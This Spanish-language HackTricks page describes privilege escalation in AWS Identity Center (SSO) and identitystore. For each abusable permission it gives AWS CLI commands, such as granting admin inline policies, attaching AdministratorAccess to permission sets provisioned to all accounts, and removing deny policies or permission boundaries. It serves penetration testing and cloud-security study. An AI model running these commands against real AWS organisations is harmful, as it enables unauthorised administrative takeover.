AWS - SSO & identitystore Privesc

Support HackTricks

AWS Identity Center / AWS SSO

Para más información sobre AWS Identity Center / AWS SSO consulta:

AWS - IAM, Identity Center & SSO Enum

Ten en cuenta que por defecto, solo los usuarios con permisos del Management Account podrán acceder y controlar el IAM Identity Center. Los usuarios de otras cuentas solo pueden permitirlo si la cuenta es un Delegated Administrator. Consulta la documentación para más información.

Restablecer Contraseña

Una forma fácil de escalar privilegios en casos como este sería tener un permiso que permita restablecer las contraseñas de los usuarios. Desafortunadamente, solo es posible enviar un correo electrónico al usuario para restablecer su contraseña, por lo que necesitarías acceso al correo electrónico del usuario.

identitystore:CreateGroupMembership

Con este permiso es posible agregar un usuario dentro de un grupo para que herede todos los permisos que tiene el grupo.

aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>

sso:PutInlinePolicyToPermissionSet, sso:ProvisionPermissionSet

Un atacante con este permiso podría otorgar permisos adicionales a un Conjunto de Permisos que se concede a un usuario bajo su control

# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml

# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachManagedPolicyToPermissionSet, sso:ProvisionPermissionSet

Un atacante con este permiso podría otorgar permisos adicionales a un Conjunto de Permisos que se concede a un usuario bajo su control.

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachCustomerManagedPolicyReferenceToPermissionSet, sso:ProvisionPermissionSet

Un atacante con este permiso podría otorgar permisos adicionales a un Conjunto de Permisos que se le otorga a un usuario bajo su control.

Para abusar de estos permisos en este caso, necesitas conocer el nombre de una política administrada por el cliente que esté dentro de TODAS las cuentas que se verán afectadas.

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:CreateAccountAssignment

Un atacante con este permiso podría otorgar un Conjunto de Permisos a un usuario bajo su control a una cuenta.

aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>

sso:GetRoleCredentials

Devuelve las credenciales a corto plazo de STS para un nombre de rol dado que está asignado al usuario.

aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>

Sin embargo, necesitas un token de acceso que no estoy seguro de cómo obtener (TODO).

sso:DetachManagedPolicyFromPermissionSet

Un atacante con este permiso puede eliminar la asociación entre una política administrada de AWS y el conjunto de permisos especificado. Es posible otorgar más privilegios a través de desvincular una política administrada (política de denegación).

aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>

sso:DetachCustomerManagedPolicyReferenceFromPermissionSet

Un atacante con este permiso puede eliminar la asociación entre una política gestionada por el cliente y el conjunto de permisos especificado. Es posible otorgar más privilegios a través de desvincular una política gestionada (política de denegación).

aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>

sso:DeleteInlinePolicyFromPermissionSet

Un atacante con este permiso puede eliminar los permisos de una política en línea del conjunto de permisos. Es posible otorgar más privilegios al desvincular una política en línea (política de denegación).

aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>

sso:DeletePermissionBoundaryFromPermissionSet

Un atacante con este permiso puede eliminar el Límite de Permisos del conjunto de permisos. Es posible otorgar más privilegios al eliminar las restricciones del Conjunto de Permisos dado por el Límite de Permisos.

aws sso-admin   delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
Apoya a HackTricks

Last updated